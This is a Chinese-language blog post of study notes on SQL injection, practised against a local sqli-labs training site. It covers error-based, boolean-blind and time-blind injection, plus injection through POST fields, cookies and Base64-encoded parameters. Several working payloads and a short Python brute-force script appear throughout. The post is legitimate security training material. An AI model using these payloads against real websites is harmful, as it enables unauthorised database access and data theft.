本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
上一篇讲了SQL手工注入及简单的检测,今天来讲解各种类型的注入。
这里配合先前搭建好的sqli-lab进行测试
报错注入主要是通过使数据库报错,从而获取信息。
这里报错函数主要是updatexml、extractvalue
这里分别演示一下使用方法
updatexml()
0x7e是~的ASCII,在这里成功返回了当前数据库。
extractvalue
实例:http://192.168.1.9/sql1/Less-5
访问id=1,看见如下界面
分别输入 ’ and ‘1’='1 和 ’ and ‘1’='2,查看响应结果
’ and ‘1’='1
’ and ‘1’='2
发现界面发生了错误,判断存在SQL注入漏洞,但由于没有回显,所以不能用union注入,这是可以用报错注入
爆数据库:
payload:id=1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)–+
后续步骤与union注入一致。
测试页面:http://192.168.1.9/sql1/Less-8/
访问id=1,响应
我们分别访问 ’ and ‘1’='1 和 ’ and ‘1’='2,查看响应结果
’ and ‘1’='1
’ and ‘1’='2
发现响应了错误的请求,此时由于没有错误信息,也没有回显,我们可以用bool盲注
访问 id=1’ and length(database())>1–+,响应了正确的页面
再访问 id=1’ and length(database())>10–+
确认存在布尔盲注
接下来写一个脚本来爆出想要的信息
bool.py
import requests
url='http://192.168.1.9/sql1/Less-8/?'
payload="id=1' and ord(substr(database(),%d,1))=%d--+"
session=requests.Session()
result=''
for i in range(10):
for j in range(97,123):
text=session.get(url+payload%(i,j)).text
if (len(text)!=722):
result+=chr(j)
print(result)
这里介绍两个函数
if (expr1,expr2,expr3)
含义:如果expr1是true,则返回值为expr2,否则返回值为expr3
sleep(n)
含义:休眠n秒
这样我们就可以构造如这样的payload
id=1’ and if(length(database())>1,sleep(5),1)–+
此时,如果数据库的长度大于一,就会休眠5秒,否则就会返回直接结果
由于响应的时间非常短,我们可以用burpsuite的Repeater查看返回结果,从而判断
链接:http://192.168.1.9/sql1/Less-9/
访问 id=1,查看结果
分别输入 ’ and ‘1’='1 和 ’ and ‘1’='2
发现返回结果无异,此时不能用bool盲注,但可以尝试时间盲注
构造payload:id=1’ and if (length(database())>1,sleep(5),1)–+
发现响应时间为5秒,判断存在时间盲注
剩下步骤
与bool注入一致
POST注入指注入点在POST参数中
测试地址:http://192.168.1.9/sql1/Less-12/
我们访问界面,会看到一个登录框
我们在里面输入一个双引号,发现返回了错误信息
告诉我们是用双引号和括号包裹起来的
利用bp抓包请求,构造payload
登录成功了,说明存在注入
输入 order by子句判断字段数
order by 1
order by 2
order by 3
页面报错,说明存在两个字段
爆数据库:
payload:uname=123") union select 1,database()–+
剩下步骤与union注入一致
Cookie注入指注入参数在Cookie中
测试地址:http://192.168.1.9/sql1/Less-20
访问这个界面,会出现一个登陆框,在登录之后,会出现关于用户的信息
此时在bp中抓包看见cookie中有uname字段。
在admin后加一个单引号,发现页面报错,推测存在sql注入
在admin后面加上 ’ and ‘1’=‘1’–+ 和 'and ‘1’=‘2’–+
’ and ‘1’=‘1’–+
’and ‘1’=‘2’–+
页面出错,存在注入漏洞
通过order by爆字段数
order by 1
order by 4
字段数为3
爆数据库:uname=a’ union select 1,2,database()–+
Base64注入指在注入参数中经过了base64加密
测试地址:http://192.168.1.9/sql1/Less-21/index.php
访问页面,登录,输出了我们的信息
bp抓包看参数,发现uname经过了加密
其中,%3D是url编码,意为 = 。也就是uname的值为YWRtaW4=
放到Decoder模块进行解密,发现Base64解密的结果是admin
接下来构造payload,并将payload进行base64加密后发送去
payload:admin’–+
加密后:YWRtaW4nLS0r
查看发送结果
提示被括号包围,重新构造payload为admin’)#
加密结果:YWRtaW4nKSM=
查看请求结果
发现注入点
通过order by 子句获取字段数为三
构造payload爆信息
payload:a’) union select 1,2,database()#
加密结果:YScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
响应结果
后续步骤与union注入一致